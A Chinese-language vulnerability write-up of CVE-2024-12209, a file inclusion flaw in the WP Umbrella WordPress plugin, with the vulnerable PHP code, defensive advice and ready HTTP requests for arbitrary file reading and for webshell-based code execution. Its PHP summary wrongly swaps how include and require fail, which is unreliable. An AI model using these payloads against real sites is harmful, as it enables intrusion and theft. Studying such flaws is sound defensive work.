WP Umbrella 插件漏洞分析(CVE-2024-12209)
字数 906 2025-08-22 12:22:42
WP Umbrella 插件漏洞分析(CVE-2024-12209)教学文档
漏洞概述
WP Umbrella插件存在一个本地文件包含(LFI)漏洞(CVE-2024-12209),攻击者可以利用该漏洞读取服务器上的任意文件,甚至通过上传恶意文件实现远程代码执行(RCE)。
漏洞原理
漏洞触发点
漏洞位于插件的文件包含功能中,具体触发点在include_once语句:
include_once $filePath;
漏洞代码分析
-
入口点:漏洞通过
template_redirect钩子触发,回调函数为handleClonerRequest -
关键代码:
public function handleClonerRequest() {
global $wp_query;
if (!isset($wp_query->query_vars['umbrella-backup'])) {
return;
}
$source = wp_umbrella_get_service('BackupFinderConfiguration')->getRootBackupModule();
$filename = isset($_GET['filename']) ? $_GET['filename'] : 'cloner.php';
$filePath = $source . $filename;
if (!file_exists($filePath)) {
wp_safe_redirect(home_url());
return;
}
include_once $filePath;
}
- 漏洞流程:
- 检查是否存在
umbrella-backup参数 - 从GET请求获取
filename参数(默认为'cloner.php') - 拼接文件路径
- 检查文件是否存在
- 包含指定文件
- 检查是否存在
漏洞利用
任意文件读取
- 构造Payload:
GET /favicon.ico?umbrella-backup=aaaaa&filename=license.txt HTTP/1.1
Host: 192.168.114.130:81
- 关键参数:
umbrella-backup: 任意值,用于通过条件检查filename: 要读取的文件路径(相对或绝对)
远程代码执行(RCE)
-
利用步骤:
- 上传一个webshell图片文件
- 获取图片地址
- 通过LFI漏洞包含该图片文件
-
示例:
GET /favicon.ico?umbrella-backup=aaaaa&filename=wp-content/uploads/2024/12/webshell.jpg HTTP/1.1
防御措施
-
输入验证:
- 对
filename参数进行严格过滤 - 限制文件路径只能包含特定目录
- 对
-
安全配置:
- 使用
basename()函数确保只获取文件名 - 设置open_basedir限制PHP可访问的目录
- 使用
-
替代方案:
- 使用白名单机制,只允许包含特定文件
- 避免直接使用用户输入构建文件路径
技术要点总结
-
PHP文件包含函数:
include: 包含并运行指定文件,出错抛出错误require: 同include,出错抛出警告include_once/require_once: 确保不重复包含
-
WordPress钩子:
template_redirect: WordPress核心动作钩子,在模板文件加载前触发
-
漏洞关键:
- 未经验证的用户输入直接用于文件包含
- 路径拼接未做安全处理
参考链接
- 原始漏洞分析: 先知社区文章
- CVE详情: CVE-2024-12209